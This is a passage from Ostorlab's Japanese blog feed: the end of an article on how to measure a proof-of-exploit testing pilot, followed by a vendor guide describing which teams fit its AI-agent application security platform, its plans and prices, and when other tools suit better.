&lt;p&gt;実証エクスプロイトのパイロットは、4つの成果を計測すべきです。すなわち、アラートの処理区分、判定までの時間、エビデンスの品質、そして検出のカバレッジです。&lt;/p&gt;
&lt;p&gt;テストプラットフォームを、アラートの件数や重大度の分布だけで判断してはなりません。より静かなキューは、検出が弱いことの結果でもあり得ます。代表的なアプリケーション、API、認証済みのワークフローのセットに対して実行し、次を追跡してください。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;生成されたアラート&lt;/li&gt;
&lt;li&gt;AppSecに振り分けられたアラート&lt;/li&gt;
&lt;li&gt;開発者に振り分けられたアラート&lt;/li&gt;
&lt;li&gt;確定した脆弱性&lt;/li&gt;
&lt;li&gt;誤検知とその他の対応不要なアラート&lt;/li&gt;
&lt;li&gt;すべてのアラートにわたる開発者の総工数&lt;/li&gt;
&lt;li&gt;アラートあたりの開発者時間の算術平均&lt;/li&gt;
&lt;li&gt;判定までの時間の中央値とP90&lt;/li&gt;
&lt;li&gt;再実行可能なエビデンスを伴う検出結果の割合&lt;/li&gt;
&lt;li&gt;修復から検証済みの再テストまでの時間&lt;/li&gt;
&lt;li&gt;検出結果と修復ガイダンスに対する開発者の受容&lt;/li&gt;
&lt;li&gt;対応しているアタックサーフェスと認証済みワークフローのカバレッジ&lt;/li&gt;
&lt;li&gt;仕込まれた、または独立して判定されたポジティブケースと、その検出率&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これらの指標を検出結果の種類で分類してください。単純な依存関係のアラート、インジェクションの可能性がある経路、複数ステップの認可の不備は、それぞれ検証コストが異なります。それらを一つの平均にまとめると、ボトルネックが見えなくなることがあります。&lt;/p&gt;
&lt;h2 id="実証エクスプロイトテストの限界は何か"&gt;実証エクスプロイトテストの限界は何か&lt;/h2&gt;
&lt;p&gt;実証エクスプロイトテストは、環境の変化、再現に用いる機密データ、制御されたテストアカウントと本番環境への影響との間のギャップ、そしてスコープ、認証、比較条件における誤りによって制約されることがあります。&lt;/p&gt;
&lt;p&gt;だからこそ、実証に裏付けられたワークフローには、少なくとも次のものが必要です。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;書面による認可と作業ルール（rules of engagement）&lt;/li&gt;
&lt;li&gt;明示的なスコープと禁止される操作&lt;/li&gt;
&lt;li&gt;安全なテスト用のアイデンティティ&lt;/li&gt;
&lt;li&gt;レートおよび停止の条件&lt;/li&gt;
&lt;li&gt;インシデント時の連絡先&lt;/li&gt;
&lt;li&gt;認証情報の取り扱い&lt;/li&gt;
&lt;li&gt;アクセス制御されたエビデンスの保持と削除&lt;/li&gt;
&lt;li&gt;影響の大きい判断についての人間の説明責任&lt;/li&gt;
&lt;li&gt;修復後の再テスト&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;NISTのテストガイダンスは、技術的テストを、単にレポートを生成することではなく、計画を立て、検出結果を分析し、緩和策を策定するプロセスとして扱っています。&lt;a href="https://csrc.nist.gov/pubs/sp/800/115/final"&gt;NIST SP 800-115&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="実証エクスプロイトテストの真のroiとは何か"&gt;実証エクスプロイトテストの真のROIとは何か&lt;/h2&gt;
&lt;p&gt;実証エクスプロイトのROIとは、エビデンスが引き継ぎの前に再現と事実確認を縮小したときに回復するキャパシティのことです。その財務上のリターンは、そのキャパシティのうちどれだけが実現されるかに依存します。&lt;/p&gt;
&lt;p&gt;誤検知は、単なるスキャナーの品質の問題ではありません。それはエンジニアリングのキャパシティの問題です。&lt;/p&gt;
&lt;p&gt;人間に到達するアラート、判定に至るまでに必要な時間、そしてその時間の人件費込みのコストを計測してください。そのうえで、実証エクスプロイトテストを、一つの実践的な基準で評価してください。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;それは、開発者がスキャナーの仮説を再現するのではなく、本物のリスクの修正に時間を費やせるほど、引き継ぎの前に十分な不確実性を取り除くか。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;それが実証がもたらす運用上のリターンです。すなわち、中断されるエンジニアが減り、確定した検出結果の修復が速まり、開発者が信頼できるセキュリティのキューが得られる、ということです。&lt;/p&gt;
&lt;p&gt;代表的なモバイルアプリとそのAPIに対して、&lt;a href="https://ostorlab.co/product/mobile_agentic_deep_scan"&gt;Agentic Deep Scanでスコープを限定した実証エクスプロイトの評価を実行&lt;/a&gt;してください。報告された検出結果の件数だけでなく、判定までの時間と、開発者に振り分けられた対応不要なアラートを、前後で計測してください。&lt;/p&gt;</content><category term="Engineering"/><category term="Application Security"/><category term="DevSecOps"/><category term="Security Testing"/><category term="False Positives"/><category term="Agentic Deep Scan"/></entry><entry><title>Ostorlabを使うべきなのは誰か：最適なチーム、ユースケース、他の選択肢を選ぶべきとき</title><link href="https://blog.ostorlab.co/ja/who-should-use-ostorlab.html" rel="alternate"/><published>2026-09-28T08:00:00+02:00</published><updated>2026-10-06T10:00:00+02:00</updated><author><name>Abir Jelti</name></author><id>tag:blog.ostorlab.co,2026-09-28:/ja/who-should-use-ostorlab.html</id><summary type="html">&lt;p&gt;Ostorlabは、つながり合うモバイル、Web、API、コードのアセットをリリースごとにテストするチームに適しています。適する場面、選ぶべきプラン、他のツールの方が適するケースを解説します。&lt;/p&gt;</summary><content type="html">&lt;p&gt;Androidアプリ、iOSアプリ、それらを支えるAPI、そしてWebダッシュボードを2週間ごとにリリースするチームは、それぞれに別々のツールを使い、4つのレポートを手作業でトリアージしていることがよくあります。Ostorlabは、まさにそうしたチームのために作られています。本ガイドでは、Ostorlabが適さないチームと、そうしたチームが代わりに導入すべきものも挙げます。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;要約&lt;/strong&gt;：Ostorlabは、モバイルアプリ、Webアプリ、APIを頻繁にリリースし、リストに追加されるだけでなく、実際に動作するエクスプロイトに裏付けられた確定した検出結果を求めるチームに適しています。Communityプランなら無料で始められ、スコープを限定したAgentic Pentestは$499から実施できます。また、AppSecを使えば一つのアプリケーションを継続的にカバーでき、年払いでWeb/APIは月額$299から、モバイルは$599からです。一方、ハンズオンの手動テスト用ツールキット、完全にエアギャップされたデプロイ、あるいはハードウェア、ファームウェア、スマートコントラクトの研究が必要な場合には、あまり適していません。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;本ガイドは、Ostorlabを候補リストに加えるべきかを判断するセキュリティリード、AppSecエンジニア、調達チームを対象としています。プランの詳細は2026年9月時点のものです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;開示事項&lt;/strong&gt;：Ostorlabは本ブログを発行しており、以下で説明するプランを販売しています。他のツールは、それぞれが担う役割についてのみ言及しています。本記事をレビューしたベンダーや、掲載のために費用を支払ったベンダーはありません。&lt;/p&gt;
&lt;h2 id="ostorlabは何を守るために設計されているか"&gt;Ostorlabは何を守るために設計されているか&lt;/h2&gt;
&lt;p&gt;Ostorlabは、アプリケーションとそれにつながるアセットを、個別のスキャンとしてではなく一つのアタックサーフェスとして扱ってテストします。プラットフォームがカバーする対象は次のとおりです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;モバイルアプリケーション&lt;/strong&gt;：Android、iOS、HarmonyOS。APK、XAPK、AAB、暗号化されていないIPAファイルとして提出するか、ストアやTestFlightから直接取得&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WebアプリケーションとAPI&lt;/strong&gt;：ログイン後のフロー、RESTおよびGraphQLのスキーマ解析、SSOおよび2FA/OTPのワークフローを含む&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ソースコードリポジトリ&lt;/strong&gt;：GitHub、GitLab、Bitbucket、Azure DevOpsに加え、コンテナと依存関係の分析&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;つながり合うアプリケーションエコシステム&lt;/strong&gt;：アプリ、そのAPI、Webフロントエンド、コードにまたがって連鎖する攻撃経路&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;外部アタックサーフェス&lt;/strong&gt;：&lt;a href="https://blog.ostorlab.co/best-external-attack-surface-management-platforms-2026.html"&gt;Attack Surface&lt;/a&gt;による、露出したアセットの検出と監視&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;サードパーティのモバイルアプリ&lt;/strong&gt;：&lt;a href="https://blog.ostorlab.co/ostorlab-app-vetting.html"&gt;App Vetting&lt;/a&gt;による、承認前のリスク評価&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;すべての有料プランで、標準のスキャンレイヤーが実行されます。静的解析（SAST）、動的テスト（DAST）、SBOMを伴うソフトウェア構成分析（SCA）、シークレット検出、APIセキュリティテスト、プライバシーチェックです。各レイヤーの検出結果は、別々のレポートとして届くのではなく、一つのワークスペースに集約されます。&lt;/p&gt;
&lt;p&gt;その上に位置するのが&lt;strong&gt;エージェント型テスト&lt;/strong&gt;です。AIエージェントが稼働中のアプリケーションを探索し、返ってきた内容から次の手順を選び、影響を実証しようと試みます。AppSecとEnterpriseでは継続的に実行され、Agentic Pentestではスコープを限定した1回限りの評価として実行されます。アセットをまたいで検出結果をどのように連鎖させるかについては、&lt;a href="https://blog.ostorlab.co/ostorlab-multi-asset-deep-agentic-scan.html"&gt;マルチアセットのエージェント型スキャン&lt;/a&gt;をご覧ください。&lt;/p&gt;
&lt;h2 id="ostorlabはどのようなチームのために作られているか"&gt;Ostorlabはどのようなチームのために作られているか&lt;/h2&gt;
&lt;p&gt;Ostorlabが適するのは、アプリケーションが複数のつながり合うアセットにまたがり、頻繁にリリースされ、チームが手作業で検証しきれないほどの検出結果を生む場合です。このパターンに当てはまるチームのプロファイルは6つあります。&lt;/p&gt;
&lt;h3 id="モバイルファーストのエンジニアリングチーム"&gt;モバイルファーストのエンジニアリングチーム&lt;/h3&gt;
&lt;p&gt;ネイティブのAndroid、iOS、HarmonyOSアプリ、あるいはFlutter、React Native、MAUIで構築したクロスプラットフォームのクライアントをリリースするチームです。モバイルワークスペースは、バイナリをその背後にあるAPIやリポジトリとあわせてテストします。そのため、アプリに埋め込まれたシークレットと、そのシークレットでアクセスできるAPIエンドポイントは、無関係な2つの検出結果としてではなく、一つのチェーンとしてテストされます。HarmonyOSについては、&lt;a href="https://blog.ostorlab.co/harmonyos-security-testing.html"&gt;HarmonyOSセキュリティテストガイド&lt;/a&gt;をご覧ください。&lt;/p&gt;
&lt;h3 id="つながり合うアプリケーションを守るappsecチーム"&gt;つながり合うアプリケーションを守るAppSecチーム&lt;/h3&gt;
&lt;p&gt;フロントエンド、API、モバイルクライアント、ソースコードを一つの環境として評価する必要がある組織です。これが対処する失敗のパターンはよくあるものです。各アセットはそれぞれのスキャンを通過しても、そのうち2つにまたがるチェーン、たとえば管理用APIがモバイルのトークンを受け入れてしまうといったケースはテストされないままになります。&lt;/p&gt;
&lt;h3 id="毎週リリースするdevsecopsチーム"&gt;毎週リリースするDevSecOpsチーム&lt;/h3&gt;
&lt;p&gt;年1回の手動ペンテストでは追いつけないほどの速さでリリースするチームです。継続的な監視によって、新しいビルド、依存関係、露出したサービスが現れるたびに再テストが行われます。また、&lt;a href="https://ostorlab.co/plans"&gt;Agentic Pentest&lt;/a&gt;を使えば、手動の診断の合間に行われるメジャーリリースもカバーできます。&lt;/p&gt;
&lt;h3 id="未検証の検出結果に埋もれているセキュリティチーム"&gt;未検証の検出結果に埋もれているセキュリティチーム&lt;/h3&gt;
&lt;p&gt;すでにスキャナーを導入しており、より少なく、実証された結果を必要としているチームです。OstorlabのAgentic Pentestは、AIエージェントが確定した各検出結果に実際に動作するエクスプロイトを添付し、修正の検証では、パッチを適用したビルドに対してテストを再実行します。開発者は、&lt;a href="https://blog.ostorlab.co/ostorlab-platform-mcp-server.html"&gt;Ostorlab MCPサーバー&lt;/a&gt;を通じて、AIコーディングツールから検出結果を取得し、修正を適用することもできます。&lt;/p&gt;
&lt;h3 id="プライベート環境とガバナンス要件を持つエンタープライズ"&gt;プライベート環境とガバナンス要件を持つエンタープライズ&lt;/h3&gt;
&lt;p&gt;シングルサインオン（SSO/SAML）、ロールベースアクセス制御（RBAC）、監査ログ、独自のAIキーの持ち込み（BYOK）、そして米国、EU、GCC、APACでのデータレジデンシーを必要とする組織です。プライベートな対象は&lt;a href="https://blog.ostorlab.co/best-on-premises-application-security-testing-platforms-2026.html"&gt;On-Premises Scanner&lt;/a&gt;でテストできます。このスキャナーは自社のネットワーク内で動作し、オーケストレーションとレポーティングはOstorlabクラウドに残ります。&lt;/p&gt;
&lt;h3 id="サードパーティのモバイルアプリを審査するリスク・調達チーム"&gt;サードパーティのモバイルアプリを審査するリスク・調達チーム&lt;/h3&gt;
&lt;p&gt;従業員が外部のAndroidアプリやiOSアプリをインストールしてよいかを判断するチームです。App Vettingは、静的解析、動的テスト、サンドボックスでの実行を組み合わせ、マルウェア、プライバシー、脆弱性、パブリッシャーの信頼性にわたる重み付けされたリスクスコアを算出し、新しいバージョンがリリースされるたびに再分析します。&lt;a href="https://blog.ostorlab.co/best-enterprise-mobile-app-vetting-platforms-2026.html"&gt;エンタープライズ向けアプリベッティングプラットフォームの比較&lt;/a&gt;をご覧ください。&lt;/p&gt;
&lt;h2 id="各チームに適したostorlabのプランはどれか"&gt;各チームに適したOstorlabのプランはどれか&lt;/h2&gt;
&lt;p&gt;Agentic Pentestは、スコープを限定した1回の評価に適しており、$499からです。AppSecは、つながり合う一つのアプリケーションの継続的なカバーに適しており、年払いでWeb/APIは月額$299から、モバイルは$599からです。Enterpriseはポートフォリオ全体に適しており、価格は個別見積もりです。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;チームまたはニーズ&lt;/th&gt;
&lt;th style="text-align: left;"&gt;プラン&lt;/th&gt;
&lt;th style="text-align: left;"&gt;公開価格&lt;/th&gt;
&lt;th style="text-align: left;"&gt;カバー範囲&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;明確に定義された1回の評価&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Agentic Pentest&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;$499から（Core）、Advanced $1,999、Elite $3,999、Hyperscaleは個別見積もり&lt;/td&gt;
&lt;td style="text-align: left;"&gt;スコープを限定したマルチアセットの評価（アプリ、API、Web、コード）。確定した各検出結果に実際に動作するエクスプロイトが付き、再テスト期間あり&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;つながり合う一つのモバイルアプリ&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;AppSec Mobile&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;年払いで1アプリケーションあたり月額$599、または月払いで$653&lt;/td&gt;
&lt;td style="text-align: left;"&gt;モバイルアプリ1つ、Web/API対象は最大3つ、リポジトリは最大3つ、AI Security Creditsは月20&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;つながり合う一つのWeb/APIアプリ&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;AppSec Web/API&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;年払いで1アプリケーションあたり月額$299、または月払いで$326&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Web/API対象は最大3つ、リポジトリは最大3つ、AI Security Creditsは月20&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;複数のアプリケーションまたは事業部門&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Enterprise&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;個別の年間契約&lt;/td&gt;
&lt;td style="text-align: left;"&gt;設定可能なカバー範囲、年間でプールされるクレジット、ガバナンス、連携、そして24/7のサービスレベル契約を伴う専任テクニカルアカウントマネージャーまでのサポートティア&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;サードパーティのモバイルアプリのガバナンス&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Enterprise&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;個別見積もり&lt;/td&gt;
&lt;td style="text-align: left;"&gt;App VettingはEnterpriseに含まれる&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;不明または変化し続けるインターネット上の露出&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Enterprise&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;個別見積もり&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Attack SurfaceはEnterpriseに含まれる&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;まずプラットフォームを試す&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Community&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;$0&lt;/td&gt;
&lt;td style="text-align: left;"&gt;無制限のモバイルアプリスキャン、アタックサーフェス検出、修復のトラッキング&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Agentic Pentestの4つのティアは、エージェントのトークンで測られる深さ（AppSecプランでは代わりにAI Security Creditsを使用）と、信頼度のどの段階まで検出結果を報告するかによって異なります。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;ティア&lt;/th&gt;
&lt;th style="text-align: left;"&gt;価格&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Ostorlabによるペンテスト換算&lt;/th&gt;
&lt;th style="text-align: left;"&gt;トークン&lt;/th&gt;
&lt;th style="text-align: left;"&gt;報告される検出結果&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Core&lt;/td&gt;
&lt;td style="text-align: left;"&gt;$499&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ペンテスト1週間分&lt;/td&gt;
&lt;td style="text-align: left;"&gt;50&lt;/td&gt;
&lt;td style="text-align: left;"&gt;信頼度の高いリスク&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Advanced&lt;/td&gt;
&lt;td style="text-align: left;"&gt;$1,999&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ペンテスト2〜4週間分&lt;/td&gt;
&lt;td style="text-align: left;"&gt;200&lt;/td&gt;
&lt;td style="text-align: left;"&gt;信頼度が高いリスクと中程度のリスク&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Elite&lt;/td&gt;
&lt;td style="text-align: left;"&gt;$3,999&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ペンテスト4〜8週間分&lt;/td&gt;
&lt;td style="text-align: left;"&gt;400&lt;/td&gt;
&lt;td style="text-align: left;"&gt;信頼度が高いリスクと中程度のリスクに加え、推測的な手がかりや信頼度の低い手がかり&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Hyperscale&lt;/td&gt;
&lt;td style="text-align: left;"&gt;個別見積もり&lt;/td&gt;
&lt;td style="text-align: left;"&gt;スコープに合わせて調整&lt;/td&gt;
&lt;td style="text-align: left;"&gt;個別見積もり&lt;/td&gt;
&lt;td style="text-align: left;"&gt;スコープに合わせて調整&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;ワークスペースでの定常的なテストはAppSecプランに含まれています。AI Security Creditsは、エージェント型テスト、Dig Deeperによる調査、Autofix、修正の検証といった高度なアクションに使われます。&lt;/p&gt;
&lt;p&gt;クレジットを使い切っても、定常的なテストは継続されます。AIエージェントが確定した検出結果には、実際に動作するエクスプロイトが付きます。Eliteでは、信頼度の低い手がかりも、その旨を明示したうえで一覧に含まれます。&lt;strong&gt;Ostorlabは、どのプランでも人間による検証を提供していません&lt;/strong&gt;。AIエージェントが、実際に動作するエクスプロイトによって各検出結果を検証します。&lt;/p&gt;
&lt;p&gt;Agentic Pentestの価格を手動ペンテストと比較するには、&lt;a href="https://blog.ostorlab.co/application-penetration-test-cost-2026.html"&gt;2026年のアプリケーションペネトレーションテストの費用&lt;/a&gt;をご覧ください。&lt;/p&gt;
&lt;h2 id="他の選択肢を選ぶべきなのはどのようなときか"&gt;他の選択肢を選ぶべきなのはどのようなときか&lt;/h2&gt;
&lt;p&gt;要件がアプリケーションセキュリティの範囲外にある場合、限られた一つの作業だけが必要な場合、あるいは購入者が人間によって提供される特定のサービスを求めている場合は、他の選択肢を選んでください。&lt;/p&gt;
&lt;h3 id="ostorlabのスコープ外となるのは何か"&gt;Ostorlabのスコープ外となるのは何か&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;完全にエアギャップされたセルフホスト型のデプロイ。&lt;/strong&gt; On-Premises Scannerはハイブリッド型です。スキャンは自社のネットワーク内で実行されますが、設定、検出結果、レポーティングはOstorlabクラウドで管理されます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ハードウェア、ファームウェア、無線、スマートコントラクトの作業。&lt;/strong&gt; これらには専門のラボやコンサルティング会社が必要であり、どのアプリケーションセキュリティプラットフォームの範囲にも入りません。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ソーシャルエンジニアリングと物理的なテスト。&lt;/strong&gt; フィッシングや現地への侵入には、レッドチームのプロバイダーが必要です。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="より範囲の狭いツールで十分なのはどのようなときか"&gt;より範囲の狭いツールで十分なのはどのようなときか&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Burp Suite Professional&lt;/strong&gt;：経験豊富なテスターがトラフィックを手作業で傍受・再送したい場合。これは人が使うためのツールキットであり、継続的なテストではありません。多くのチームは両方を併用しています。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MobSF&lt;/strong&gt;：オープンソースのモバイルスキャナーをセルフホストして改変したい場合で、その保守を担うエンジニアがいる場合。独自のインフラを運用せずに無料でモバイルスキャンを行いたいなら、OstorlabのCommunityプランには無制限のモバイルアプリスキャンが含まれています。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内部ネットワーク向けのペンテストツール&lt;/strong&gt;：リスクがアプリケーション層ではなく、Active Directoryを介したラテラルムーブメントにある場合。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;従来型のコンサルティング会社&lt;/strong&gt;：顧客、監査人、規制当局が、氏名を明示した独立した人間のテスターを求めている場合。PCI DSSについては、エージェント型の評価がRequirement 11.4を満たすかどうかを、担当のQualified Security Assessor（QSA）に確認してください。&lt;a href="https://blog.ostorlab.co/autonomous-pentesting-vs-traditional-penetration-testing.html"&gt;自律型ペンテストと従来型ペネトレーションテストの比較&lt;/a&gt;をご覧ください。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ostorlabを他のアプリケーションセキュリティプラットフォームと比較していますか。&lt;a href="https://blog.ostorlab.co/ostorlab-vs-nowsecure.html"&gt;NowSecure&lt;/a&gt;、&lt;a href="https://blog.ostorlab.co/ostorlab-vs-appknox.html"&gt;Appknox&lt;/a&gt;、&lt;a href="https://blog.ostorlab.co/ostorlab-vs-xbow.html"&gt;XBOW&lt;/a&gt;、&lt;a href="https://blog.ostorlab.co/ostorlab-vs-aikido.html"&gt;Aikido&lt;/a&gt;との比較記事をお読みください。&lt;/p&gt;
&lt;h2 id="ostorlabを選ぶ前に何を確認すべきか"&gt;Ostorlabを選ぶ前に何を確認すべきか&lt;/h2&gt;
&lt;p&gt;Ostorlabが実際に適するかどうかは、8つの答えで決まります。対象アセットの範囲、ログインへの対応、クレジットの消費、人間による検証、プライベートな対象へのアクセス、レポートの受け入れ、再テストの条件、そして連携です。デモやスコーピングの打ち合わせでこれらを質問し、回答を書面で受け取ってください。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;選択したプランにはどのアセットが含まれるか。追加のアプリ、対象、リポジトリはどのような価格になるか。&lt;/li&gt;
&lt;li&gt;エージェントはどのログイン方式、ロール、2FA/OTPのフローを使用するか。テストアカウントは誰が用意するか。&lt;/li&gt;
&lt;li&gt;想定しているテストと修正の検証で、毎月どれだけのAI Security Creditsを消費するか。&lt;/li&gt;
&lt;li&gt;検出結果を人が検証する必要があるか。Ostorlabは人間による検証を提供していません。AIエージェントが、実際に動作するエクスプロイトによって各検出結果を検証します。人が検証しなければならない場合は、氏名を明示した人間のテスターを擁する従来型のコンサルティング会社を選んでください（「他の選択肢を選ぶべきなのはどのようなときか」を参照）。&lt;/li&gt;
&lt;li&gt;どの対象がプライベートか。ハイブリッド型のOn-Premises Scannerは自社のデータ取り扱いポリシーを満たすか。&lt;/li&gt;
&lt;li&gt;レポートは監査人、顧客、調達プロセスの要件を満たすか。&lt;/li&gt;
&lt;li&gt;修復後に修正の検証が必要か。すべてのAgentic Pentestには再テスト期間が含まれます。修正の検証はアドオンです。&lt;/li&gt;
&lt;li&gt;どのチケット管理、CI/CD、ソースコードとの連携や、どのガバナンス制御が必要か。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="よくある質問"&gt;よくある質問&lt;/h2&gt;
&lt;h3 id="ostorlabを使うべきなのは誰か"&gt;Ostorlabを使うべきなのは誰か&lt;/h3&gt;
&lt;p&gt;モバイルアプリ、Webアプリ、APIを頻繁にリリースし、実際に動作するエクスプロイトに裏付けられた確定した検出結果を求めるチームです。モバイルファーストのエンジニアリングチーム、つながり合うアプリケーションを守るAppSecチーム、毎週リリースするDevSecOpsチーム、プライベート環境を持つエンタープライズ、サードパーティのモバイルアプリを審査するリスクチームに適しています。&lt;/p&gt;
&lt;h3 id="ostorlabはスタートアップに適しているか"&gt;Ostorlabはスタートアップに適しているか&lt;/h3&gt;
&lt;p&gt;はい。Communityプランは無料で、無制限のモバイルアプリスキャンが含まれています。スコープを限定したAgentic Pentestは$499から始まり、AppSecは年払いでWeb/APIが1アプリケーションあたり月額$299、モバイルが$599です。初めてのペンテストの予算を立てるには、&lt;a href="https://blog.ostorlab.co/penetration-testing-for-startups-2026-guide.html"&gt;スタートアップ向けペネトレーションテストガイド（2026年版）&lt;/a&gt;をご覧ください。&lt;/p&gt;
&lt;h3 id="ostorlabはエンタープライズに適しているか"&gt;Ostorlabはエンタープライズに適しているか&lt;/h3&gt;
&lt;p&gt;はい。Enterpriseプランでは、設定可能なポートフォリオのカバー範囲、年間でプールされるAI Security Credits、SSO/SAML、RBAC、監査ログ、BYOK、米国、EU、GCC、APACでのデータレジデンシー、そしてアドオンとしてのオンプレミスでのデプロイが追加されます。Attack SurfaceとApp Vettingも含まれます。OstorlabはSOC 2 Type IIの監査を受けています。&lt;/p&gt;
&lt;h3 id="ostorlabはモバイルアプリ、webアプリ、api、ソースコードをテストできるか"&gt;Ostorlabはモバイルアプリ、Webアプリ、API、ソースコードをテストできるか&lt;/h3&gt;
&lt;p&gt;はい。Ostorlabは、Android、iOS、HarmonyOSのアプリ、Webアプリケーション、RESTおよびGraphQLのAPI、そしてGitHub、GitLab、Bitbucket、Azure DevOps上のリポジトリをテストします。これらを一つのアタックサーフェスとしてまとめてテストできるため、アセットをまたぐチェーンもカバーされます。&lt;/p&gt;
&lt;h3 id="ostorlabにはsastとdastが含まれるか"&gt;OstorlabにはSASTとDASTが含まれるか&lt;/h3&gt;
&lt;p&gt;はい。すべての有料プランに、静的解析（SAST）、動的テスト（DAST）、ソフトウェア構成分析（SCA）、APIセキュリティテストが含まれ、さらに実行時の解析と振る舞い解析、SSOと2FAを通じた認証済みワークフローのテストも含まれます。そのうえでエージェント型テストが、これらのレイヤーで見つかった問題の悪用を試みるため、確定した問題には実証が伴います。&lt;/p&gt;
&lt;h3 id="ostorlabは手動のペネトレーションテストに取って代わるか"&gt;Ostorlabは手動のペネトレーションテストに取って代わるか&lt;/h3&gt;
&lt;p&gt;モバイル、Web、APIのスコープを頻繁かつ繰り返しテストする用途であれば、多くの場合は取って代わります。一方、特殊なビジネスロジック、新しいアーキテクチャ、氏名を明示した独立した人間のテスターを必要とする監査には、依然として手動テストが適しています。多くのチームは、年1回の手動の診断の合間にエージェント型ペンテストを実施しています。&lt;/p&gt;
&lt;h3 id="ostorlabはオンプレミスでのスキャンに対応しているか"&gt;Ostorlabはオンプレミスでのスキャンに対応しているか&lt;/h3&gt;
&lt;p&gt;はい。ハイブリッド型のOn-Premises Scannerで対応しています。スキャンは自社のネットワーク内で実行され、設定、オーケストレーション、検出結果、レポーティングはOstorlabクラウドに残ります。完全にエアギャップされたセルフホスト型のデプロイではありません。&lt;/p&gt;
&lt;h3 id="どのostorlabプランを選ぶべきか"&gt;どのOstorlabプランを選ぶべきか&lt;/h3&gt;
&lt;p&gt;スコープを限定した1回の評価にはAgentic Pentest、つながり合う一つのアプリケーションの継続的なカバーにはAppSec MobileまたはAppSec Web/API、複数のアプリケーション、App Vetting、Attack SurfaceにはEnterpriseを選んでください。プラットフォームを試すには、無料のCommunityプランから始めてください。&lt;/p&gt;
&lt;h3 id="他のセキュリティツールを選ぶべきなのはどのようなときか"&gt;他のセキュリティツールを選ぶべきなのはどのようなときか&lt;/h3&gt;
